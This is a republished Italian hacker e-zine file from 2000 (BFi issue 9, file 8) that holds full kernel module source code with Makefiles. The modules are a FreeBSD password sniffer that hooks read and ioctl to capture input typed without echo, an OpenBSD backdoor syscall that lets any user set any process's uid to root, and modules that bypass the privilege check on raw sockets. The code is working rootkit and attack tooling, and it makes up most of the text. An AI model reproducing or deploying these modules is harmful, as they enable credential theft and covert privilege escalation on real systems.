Copy Link
Add to Bookmark
Report

BFi numero 09 anno 3 file 08 di 21

eZine's profile picture
Published in 
Butchered From Inside
 · 5 years ago

  

==============================================================================
-------------[ BFi numero 9, anno 3 - 03/11/2000 - file 8 di 21 ]-------------
==============================================================================


-[ THREADS ]------------------------------------------------------------------
---[ VARi


---[ iNTERCETTAZi0NE DELLE PASSW0RD iNSERiTE SENZA TERMiNAL vecna
ECH0 ViA KLD
---[ OpenBSD: THC BACKDOOR pIGpEN
---[ RAW SOCKETS 4 ALL (FreeBSD 4.x, OpenBSD 2.7) pIGpEN


--[ iNTERCETTAZi0NE DELLE PASSW0RD iNSERiTE SENZA TERMiNAL ECH0 ViA KLD
---[ vecna <vecna@s0ftpj.org>

Articolo piccolo piccolo, ma che mi e` piaciuto scrivere. Tutto e` nato cosi`:

alle 10:20 di stamattina sono tornato a casa, dopo esser stato dall'ortolano,
e mi sono messo a programmare l'idea avuta a colazione;
alle 10:55 spengo il pc e corro fuori per non perdere il treno;
alle 21:00 ho ripreso mentre guardavo i cartoni su MTv;
alle 21:40 circa mi sono stancato;
alle 24:00 ho ripreso;
ora e` l'1:02 e inizio a scrivere cos'e` sta` porcheria, dopo una consulenza
via irc con LordFelix, e gli ultimi ritocchi.

Il funzionamento della getpass(3) e` semplice: leva dal terminale l'echo
locale in modo che l'utente possa scrivere la sua password senza che
essa venga visualizzata; per levare l'echo e` molto comodo usare la
funzione tcsetattr definita nella libreria termios.h .

Un esempio che ho visto molto esplicativo e`:

#include <stdlib.h>
#include <stdio.h>

#include <termios.h>
#include <string.h>

static struct termios stored_settings;

void echo_off(void)
{
struct termios new_settings;
tcgetattr(0,&stored_settings);
new_settings = stored_settings;
new_settings.c_lflag &= (~ECHO);
tcsetattr(0,TCSANOW,&new_settings);
return;
}

void echo_on(void)
{
tcsetattr(0,TCSANOW,&stored_settings);
return;
}

Per maggiori informazioni sulle potenzialita` della tcsetattr consultate
le man page tcsetattr(3) e termios(3).

Se usiamo strace (Linux) o ktrace (FreeBSD) vediamo che la tcsetattr non e`
altro che un wrapper alla ioctl(2).

QUINDI, se noi via LKM/KLD dirottiamo la ioctl() su una nostra funzione
possiamo capire se si sta` tentando di manipolare il terminale (grazie
al secondo argomento passato a ioctl) e possiamo ottenere maggiori
informazioni facendo un opportuno cast e leggendoci la struttura dati
opzionale passata come terzo argomento.

Con ktrace di un programmino come:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
char *pass =malloc(128);
pass =getpass("metti una pass che la intercetto :");
return(EXIT_SUCCESS);
}

vediamo:

301 progra1 CALL sigprocmask(0x1,0x28060040,0x28060050)
301 progra1 RET sigprocmask 0
301 progra1 CALL sigprocmask(0x3,0x28060050,0)
301 progra1 RET sigprocmask 0
301 progra1 CALL ioctl(0x3,TIOCSETAF,0xbfbffbc4)
301 progra1 RET ioctl 0

Quindi via KLD, sapendo che la ioctl riceve come argomenti:

struct proc *, (come classico)
struct ioctl_args * (definita in modo da tenere gli argomenti
classici della ioctl(2) ):
struct ioctl_args
{
int fd;
u_long com;
caddr_t data;
};

ci basta checkare struct->com che sia TIOCSETAF, poi fare un cast di una
struct termios *, sull'indirizzo contentuno in struct->data e verificare
i flag selezionati e valutare quindi il reale intento della ioctl().

Sotto Linux, tanto per completezza:

ioctl(3, TCGETS, {B38400 opost -isig icanon -echo ...}) = 0

// <include/asm-i386/termios.h>
0x00005401 TCGETS struct termios *
0x00005402 TCSETS const struct termios *
0x00005403 TCSETSW const struct termios *
0x00005404 TCSETSF const struct termios *

dalla man page ioctl_list(2).

Questo e` il kld per FreeBSD, fatto su FreeBSD 4.0 (tnx naif che in 3 giorni
mi ha masterizzato 4 cd diversi :) bei tempi quando lavoravamo :)
Putroppo non sapevo che nome dargli, chiedendo consglio a mia mamma ho
ottenuto come proposte solo "pippo" o "rain"... visto che e` da 4 giorni che
vado in giro con l'ombrello e visto che sono italiano, questo kld ha preso
il nome di "piove".

<-| piove/piove.c |->
/*
* KLD by vecna@s0ftpj.org for FreeBSD 4.0
* This module shows how to intercept getpass(3) function and print anything
* that is typed without terminal echo.
* Sorry for my english, I like only milanese.
*/


#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysent.h>
#include <sys/sysproto.h>
#include <sys/linker.h>
#include <sys/ttycom.h>

#include <termios.h>

static int procnum;

static int piove_ioctl(struct proc *p, struct ioctl_args *uap)
{
if(uap->com == TIOCSETAF)
{
struct termios *check;

check =(struct termios *) uap->data;
/* tnx to LordFelix :) */
if(!(check->c_lflag & ECHO))
procnum =p->p_pid;
}

return ioctl(p, uap);
}

static int piove_read(struct proc *p, struct read_args *uap)
{
int ret;

ret =read(p, uap);

if(procnum)
if(p->p_pid == procnum)
{
char *charptr =uap->buf;
charptr[p->p_retval[0]] =0x00;

/* example of reading password, is nice log on
* defined file, but this kld is only proof of
* concet :)
*/

uprintf("pid [%d] on terminal without echo [%s]\n",
procnum, charptr);
procnum = 0;
}

return ret;
}

static struct sysent piove[2] =
{
{ 3, (sy_call_t *) piove_read },
{ 3, (sy_call_t *) piove_ioctl }
};

static int init_module(module_t mod, int cmd, void *arg)
{
int ret = 0;

switch (cmd)
{
case MOD_LOAD:
sysent[SYS_read] =piove[0];
sysent[SYS_ioctl] =piove[1];
uprintf(" getpass(3) kernel sniffer loaded\n");
break;
case MOD_UNLOAD:
sysent[SYS_read].sy_call =(sy_call_t *)read;
sysent[SYS_ioctl].sy_call =(sy_call_t *)ioctl;
uprintf(" piove kld unloaded\n");
break;
default:
ret = EINVAL;
break;
}
return(ret);
}

static struct moduledata piove_moddata =
{
"piove",
init_module,
NULL
};

DECLARE_MODULE(syscall, piove_moddata, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
<-X->

tnx to: pIGpEN, bhe, io sono gia` al secondo kld in 5 giorni e 6 giorni fa`
non avevo ancora chiaro cosa fosse una sysent, e` anche merito dei
tuoi consigli & dei tuoi articoli
THC - Attacking FreeBSD with Kernel Modules - pragmatic

Il modulo per ora non fa` altro che sparare il pid del processo e la password
in console, non logga su file ne` fa` altro, l'unica cosa che mi interessava
era indicare come leggere le password inserite in quel modo (e lo fa` sia
login, pgp/gpg, su e tutti gli altri sistemi che via console fanno sparire
l'echo) e direi che per essere 3 ore di lavoro sono abbastanza soddisfatto.

Per compilare il modulo si usa il classico makefile per i moduli fbsd:

<-| piove/Makefile |->
SRCS = piove.c
KMOD = piove
KO = ${KMOD}.ko
KLDMOD = t

.include <bsd.kmod.mk>
<-X->

Ogni giudizio cattivo, miglioria, consigli e report di kernel panic possono
essere inviati a vecna@s0ftpj.org, rispondero` volentieri perche` ultimamente
non ricevo mai una mail :)

ore 1:31 - fine, pufff :)


-[ OpenBSD: THC BACKD00R
--[ pIGpEN <pigpen@s0ftpj.org>

Il seguente codice e' il porting di una backdoor semplice, ma
raffinata...

No, l'idea non e' mia :) i crediti vanno a pragmatic / THC anche se
e' facile che sia passata pure nella mente di molte altre persone...
Se non altro lui e' stato quello che l'ha codata :) per FreeBSD
vediamo come funziona il porting su OpenBSD...

# make
# make load

$ ps aux | grep vim
pigpen 27318 0.0 6.8 884 1644 C3 I+ 5:53PM 0:00.16 vim

$ ./call 27318 0
$ ps aux | grep vim
root 27318 0.0 6.8 884 1644 C3 I+ 5:53PM 0:00.16 vim

Ops! Con quel processo possiamo ora scrivere su qualsiasi file :O

$ ./call 27318 1001
$ ps aux | grep vim
deadhead 27318 0.0 6.8 884 1644 C3 I+ 5:53PM 0:00.16 vim

Ops! Il processo sara' a carico di deadhead :)

Come funziona?

Introducendo una nuova syscall che va a modificare i permessi sul
processo...

A differenza del src x fbsd di pragmatic, questo lkm permette di
scegliere l'uid in modo che un processo possa essere eseguito anche
con permessi diversi da root...

<-| obsd_back/thc_back.c crc32: 1515909354 |->
/*
* Name: OpenBSD backdoor
* Date: Thu Jun 01 14:46:37 2000
* Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
*
* idea & credits go to pragmatic / THC
* "Attacking FreeBSD with Kernel Modules"
*
* OpenBSD porting by pIGpEN / s0ftpj
*
*
* SoftProject Digital Security for Y2K (www.s0ftpj.org)
* Sikurezza.org Italian Security MailingList (www.sikurezza.org)
*
* COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
* Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
*
* Tested on: OpenBSD 2.6 FRACTAL#1 i386
*
* This is a simple but useful backdoor for OpenBSD based on a FreeBSD lkm
* by pragmatic/THC you can read his paper: "Attacking FreeBSD with Kernel
* Modules"
to understand how to implement it also on a OpenBSD kernel...
*
* Greetings to: bozo(iKX), koba (sikurezza.org), pragmatic (THC) for his
* work
*
* Consider this an example of lkm... don't use it!
* I didn't cover the module because it must be considered only for
* educational purposes
*/



#include <sys/param.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <sys/conf.h>
#include <sys/syscallargs.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/errno.h>
#include <sys/proc.h>

#define OFFSET 210

struct you_make_me_real_args {
syscallarg(int) p_pid; /* process to make with p_real uid */
syscallarg(int) p_real; /* p_real uid */
};

static int
you_make_me_real (struct proc *p, void *v, register_t *retval)
{
struct you_make_me_real_args *uap = v;
struct proc *pr;

if((pr = pfind(SCARG(uap, p_pid))) == NULL)
return (ESRCH);

pr->p_cred->pc_ucred->cr_uid = SCARG(uap, p_real);

return 0;
}

static struct sysent you_make_me_real_sysent = {
2,
sizeof(struct you_make_me_real_args),
you_make_me_real
};

MOD_SYSCALL( "thc_bck", OFFSET, &you_make_me_real_sysent);

int
thc_bck (struct lkm_table *lkmtp, int cmd, int ver)
{
DISPATCH(lkmtp, cmd, ver, lkm_nofunc, lkm_nofunc, lkm_nofunc)
}
<-X->

<-| obsd_back/Makefile crc32: 2707935197 |->
SRCS=thc_back.c
OBJS=$(SRCS:.c=.o)

MODOBJ=bck.o

KMOD=thc_bck
CFLAGS+= -Wall -D_KERNEL -I/sys

all: $(MODOBJ)

clean:
rm -f $(OBJS) $(KOBJS) $(MODOBJ) $(KMOD)

load:
modload -o $(KMOD) -e$(KMOD) $(MODOBJ)

unload:
modunload -n $(KMOD)

$(MODOBJ): $(OBJS) $(KOBJS)
$(LD) -r -o $(MODOBJ) $(OBJS) $(KOBJS)
<-X->

<-| obsd_back/call.c crc32: 1088581707 |->
/*
* an example to interface our syscall
*/


#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdlib.h>

#define OFFSET 210

int
main(int argc, char **argv)
{
int error;

if(argc != 3) {
printf("Usage:\n%s pid uid\n", argv[0]);
exit(1);
}

error = syscall(OFFSET, atoi(argv[1]), atoi(argv[2]));

if(error)
perror("syscall()");

return 0;
}
<-X->


-[ RAW S0CKETS 4 ALL ( FreeBSD 4.x, OpenBSD 2.7 )
--[ pIGpEN <pigpen@s0ftpj.org>

Questo e' il codice di sraw per le versioni 4.x di FreeBSD e di OpenBSD...
Nella 4.x di FreeBSD niente di nuovo come FreeBSD 3.x e NetBSD il controllo
viene fatto tramite suser(): precedentemente (nelle 2.x) i permessi erano
controllati tramite SS_PRIV nella struttura socket attraverso so_state
(questo e' quanto viene fatto attualmente pure da altri kernel BSD come
OpenBSD, BSDI...)

Il codice per la so_state e' qualcosa di simile al seguente:

rip_usrreq()
/* gestione dei PRU_* state tramite funzione tipica di quasi tutti i
kernel BSD (FreeBSD e' l'eccezione) */

{
switch(richiesta) {
case PRU_ATTACH:
...
if((so->so_state & SS_PRIV)==0) {
...
return EACCES;
}
.. allocazione inpcb ecc...
break;
....altre PRU_*...
}
...
}

Per quanto riguarda FreeBSD aggiungo due cenni sulla suser():

questa funzione e' diversa dalla 3.x, richiede solo il processo come potete
vedere da suser(9).

Guardando poi kern/kern_prot.c:

int
suser(p)
struct proc *p;
{
return suser_xxx(0, p, 0);
/* controlla i permessi ritornando EPERM nel caso in cui questi
non siano adeguati */

}

Nella compilazione del seguente codice ponete attenzione se avete IPSEC
nel kernel...

<-| rawsocket/fbsd4-sock/sock4.c crc32: 1295344851 |->
/*
* Date: Mon Jul 17 21:26:21 2000
* Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
*
* SoftProject 2000 - Digital Sekurity for Y2k
* Sikurezza.org - Italian Security MailingList
*
* Tested on: FreeBSD 4.0-RELEASE FreeBSD 4.0-RELEASE #26: Thu Ju i386
*
* All users are allowed to open raw sockets...
* This kld disables EPERM in socket() and permits to allocate inpcb even if
* the socket is raw and users haven't root permissions... bypassing suser()
* in pru_attach() functions...
*
* If the kernel is installed with IPSEC
* #define IPSEC or you will have a kernel panic :)
* else undefine it ...
*
* Note: My English sucks :) (My Italian too :))
*
* Idea & Code for Linux by Gigi_Sull
* Code for FreeBSD by pIGpEN / s0ftpj
*/



#include <sys/param.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/protosw.h>
#include <sys/socket.h>
#include <sys/socketvar.h>

#include <net/route.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/in_pcb.h>
#include <netinet/ip.h>
#include <netinet/ip_var.h>

#define IPSEC /* see comments */

extern struct protosw inetsw[];
extern struct inpcbinfo ripcbinfo;


static int rip_attach __P((struct socket *, int, struct proc *));
static int (*old_rip_attach) __P((struct socket *, int, struct proc *));
static int module_handler __P((module_t, int, void *));

#define attach(x) inetsw[ip_protox[x]].pr_usrreqs->pru_attach

static int
module_handler(module_t mod, int cmd, void *arg)
{
int s;

switch(cmd) {
case MOD_LOAD:
s = splnet();
old_rip_attach = attach(IPPROTO_RAW);
attach(IPPROTO_RAW) = rip_attach;
attach(IPPROTO_ICMP) = rip_attach;
attach(IPPROTO_IGMP) = rip_attach;
attach(IPPROTO_RSVP) = rip_attach;
attach(IPPROTO_IPIP) = rip_attach;
attach(IPPROTO_IDP) = rip_attach;
attach(0) = rip_attach;
splx(s);
break;

case MOD_UNLOAD:
s = splnet();
attach(IPPROTO_RAW) = old_rip_attach;
attach(IPPROTO_ICMP) = old_rip_attach;
attach(IPPROTO_IGMP) = old_rip_attach;
attach(IPPROTO_RSVP) = old_rip_attach;
attach(IPPROTO_IPIP) = old_rip_attach;
attach(IPPROTO_IDP) = old_rip_attach;
attach(0) = old_rip_attach;
splx(s);
break;
}

return 0;
}

static moduledata_t s_raw = {
"S_Raw",
module_handler,
NULL
};

DECLARE_MODULE(S_Raw, s_raw, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

extern int rip_sendspace, rip_recvspace;

static int
rip_attach(struct socket *so, int proto, struct proc *p)
{
struct inpcb *inp;
int error, s;

inp = sotoinpcb(so);
if (inp)
panic("rip_attach");
/*
* if (p && (error = suser(p)) != 0)
* return error;
*/


error = soreserve(so, rip_sendspace, rip_recvspace);
if (error)
return error;
s = splnet();
error = in_pcballoc(so, &ripcbinfo, p);
splx(s);
if (error)
return error;
inp = (struct inpcb *)so->so_pcb;
inp->inp_vflag |= INP_IPV4;
inp->inp_ip_p = proto;
#ifdef IPSEC
error = ipsec_init_policy(so, &inp->inp_sp);
if (error != 0) {
in_pcbdetach(inp);
return error;
}
#endif /*IPSEC*/
return 0;
}
<-X->

<-| rawsocket/fbsd4-sock/Makefile crc32: 1422200088 |->
# SoftProject 2000 - Digital Sekurity for Y2k
# Sikurezza.org - Italian Security MailingList
#
# < pigpen@s0ftpj.org >

.PATH: /sys/kern
SRCS = sock4.c
CFLAGS+= -I/sys
KMOD = sock
NOMAN = t
KLDMOD = t

KLDLOAD = /sbin/kldload
KLDUNLOAD = /sbin/kldunload

CLEANFILES+= ${KMOD}

load:
${KLDLOAD} -v ./${KMOD}

unload:
${KLDUNLOAD} -v -n ${KMOD}

.include <bsd.kmod.mk>
<-X->

<-| rawsocket/obsd-sock/obsd_sraw.c crc32: 3771710371 |->
/*
* Name: SRaw for OpenBSD
* Date: Fri Jul 28 13:41:36 2000
* Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
*
* SoftProject Digital Security for Y2K (www.s0ftpj.org)
* Sikurezza.org Italian Security MailingList (www.sikurezza.org)
*
* COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
* Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
*
* Tested on: OpenBSD 2.7 FRACTAL#0 i386
*
* Giving all permission to open raw sockets...
*
* Supported Protocol for this SRaw:
*
* IPPROTO_RAW, IPPROTO_ICMP, IPPROTO_IPIP, IPPROTO_IPV4, IPPROTO_IGMP
*
* Check if you have ipsec, mrouting on your kernel config and define it..
*/



#include <sys/param.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/protosw.h>

#include <sys/mbuf.h>
#include <sys/socket.h>
#include <sys/socketvar.h>
#include <net/if.h>
#include <net/route.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/in_pcb.h>

int nopriv_rip_usrreq __P((register struct socket *, int,
struct mbuf *, struct mbuf *,
struct mbuf *));

extern int rip_usrreq __P((register struct socket *, int,
struct mbuf *, struct mbuf *,
struct mbuf *));

extern struct protosw inetsw[];
extern u_char ip_protox[];
extern u_long rip_sendspace, rip_recvspace;
extern struct inpcbtable rawcbtable;

MOD_MISC("SRaw");

static int
SRaw_load(struct lkm_table *lkmtp, int cmd)
{
if(cmd == LKM_E_LOAD) {

int s;

printf("SRaw - 0.1 beta\n");
printf("sOftPj - Y2k\n");

/*
* You can also add other protocols... with rip_usrreq or
* chage other pr_usrreq
*/


s = splnet();

inetsw[ip_protox[IPPROTO_RAW]].pr_usrreq = nopriv_rip_usrreq;
inetsw[ip_protox[IPPROTO_ICMP]].pr_usrreq = nopriv_rip_usrreq;
inetsw[ip_protox[IPPROTO_IPV4]].pr_usrreq = nopriv_rip_usrreq;
inetsw[ip_protox[IPPROTO_IPIP]].pr_usrreq = nopriv_rip_usrreq;
inetsw[ip_protox[IPPROTO_IGMP]].pr_usrreq = nopriv_rip_usrreq;

splx(s);
}

return 0;
}


static int
SRaw_unload(struct lkm_table *lkmtp, int cmd)
{
if(cmd == LKM_E_UNLOAD) {
int s;

printf("SRaw - Unloaded\n");

s = splnet();

inetsw[ip_protox[IPPROTO_RAW]].pr_usrreq = rip_usrreq;
inetsw[ip_protox[IPPROTO_ICMP]].pr_usrreq = rip_usrreq;
inetsw[ip_protox[IPPROTO_IPV4]].pr_usrreq = rip_usrreq;
inetsw[ip_protox[IPPROTO_IPIP]].pr_usrreq = rip_usrreq;
inetsw[ip_protox[IPPROTO_IGMP]].pr_usrreq = rip_usrreq;

splx(s);
}

return 0;
}


SRaw( lkmtp, cmd, ver)
struct lkm_table *lkmtp;
int cmd;
int ver;
{
DISPATCH(lkmtp, cmd, ver, SRaw_load, SRaw_unload, lkm_nofunc);
}


int
nopriv_rip_usrreq(so, req, m, nam, control)
register struct socket *so;
int req;
struct mbuf *m, *nam, *control;
{
register int error = 0;
register struct inpcb *inp = sotoinpcb(so);
#ifdef MROUTING
extern struct socket *ip_mrouter;
#endif
if (req == PRU_CONTROL)
return (in_control(so, (u_long)m, (caddr_t)nam,
(struct ifnet *)control));

if (inp == NULL && req != PRU_ATTACH) {
error = EINVAL;
goto release;
}

switch (req) {

case PRU_ATTACH:
if (inp)
panic("rip_attach");
/*
* if ((so->so_state & SS_PRIV) == 0) {
* error = EACCES;
* break;
* }
*/


if((so->so_state & SS_PRIV) == 0)
so->so_state |= SS_PRIV;


if ((error = soreserve(so, rip_sendspace, rip_recvspace)) ||
(error = in_pcballoc(so, &rawcbtable)))
break;
inp = (struct inpcb *)so->so_pcb;
inp->inp_ip.ip_p = (long)nam;
break;

case PRU_DISCONNECT:
if ((so->so_state & SS_ISCONNECTED) == 0) {
error = ENOTCONN;
break;
}
/* FALLTHROUGH */
case PRU_ABORT:
soisdisconnected(so);
/* FALLTHROUGH */
case PRU_DETACH:
if (inp == 0)
panic("rip_detach");
#ifdef MROUTING
if (so == ip_mrouter)
ip_mrouter_done();
#endif
in_pcbdetach(inp);
break;

case PRU_BIND:
{
struct sockaddr_in *addr = mtod(nam, struct sockaddr_in *);

if (nam->m_len != sizeof(*addr)) {
error = EINVAL;
break;
}
if ((ifnet.tqh_first == 0) ||
((addr->sin_family != AF_INET) &&
(addr->sin_family != AF_IMPLINK)) ||
(addr->sin_addr.s_addr &&
ifa_ifwithaddr(sintosa(addr)) == 0)) {
error = EADDRNOTAVAIL;
break;
}
inp->inp_laddr = addr->sin_addr;
break;
}
case PRU_CONNECT:
{
struct sockaddr_in *addr = mtod(nam, struct sockaddr_in *);

if (nam->m_len != sizeof(*addr)) {
error = EINVAL;
break;
}
if (ifnet.tqh_first == 0) {
error = EADDRNOTAVAIL;
break;
}
if ((addr->sin_family != AF_INET) &&
(addr->sin_family != AF_IMPLINK)) {
error = EAFNOSUPPORT;
break;
}
inp->inp_faddr = addr->sin_addr;
soisconnected(so);
break;
}

case PRU_CONNECT2:
error = EOPNOTSUPP;
break;

/*
* Mark the connection as being incapable of further input.
*/

case PRU_SHUTDOWN:
socantsendmore(so);
break;

/*
* Ship a packet out. The appropriate raw output
* routine handles any massaging necessary.
*/

case PRU_SEND:
{
register u_int32_t dst;

if (so->so_state & SS_ISCONNECTED) {
if (nam) {
error = EISCONN;
break;
}
dst = inp->inp_faddr.s_addr;
} else {
if (nam == NULL) {
error = ENOTCONN;
break;
}
dst = mtod(nam, struct sockaddr_in *)->sin_addr.s_addr;
}
#ifdef IPSEC
if (!(error = check_ipsec_policy(inp, dst)))
#endif
error = rip_output(m, so, dst);
m = NULL;
break;
}

case PRU_SENSE:
/*
* stat: don't bother with a blocksize.
*/

return (0);

/*
* Not supported.
*/

case PRU_RCVOOB:
case PRU_RCVD:
case PRU_LISTEN:
case PRU_ACCEPT:
case PRU_SENDOOB:
error = EOPNOTSUPP;
break;

case PRU_SOCKADDR:
in_setsockaddr(inp, nam);
break;

case PRU_PEERADDR:
in_setpeeraddr(inp, nam);
break;

default:
panic("rip_usrreq");
}
release:
if (m != NULL)
m_freem(m);
return (error);
}
<-X->

<-| rawsocket/obsd-sock/Makefile crc32: 2086673923 |->
SRCS=obsd_sraw.c
OBJS=$(SRCS:.c=.o)

MODOBJ=SRaw.o

KMOD=SRaw
CFLAGS+= -D_KERNEL -I/sys

all: $(MODOBJ)

clean:
rm -f $(OBJS) $(KOBJS) $(MODOBJ) $(KMOD)

load:
modload -o $(KMOD) -e$(KMOD) $(MODOBJ)

unload:
modunload -n $(KMOD)

$(MODOBJ): $(OBJS) $(KOBJS)
$(LD) -r -o $(MODOBJ) $(OBJS) $(KOBJS)
<-X->


==============================================================================
---------------------------------[ EOF 8/21 ]---------------------------------
==============================================================================

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT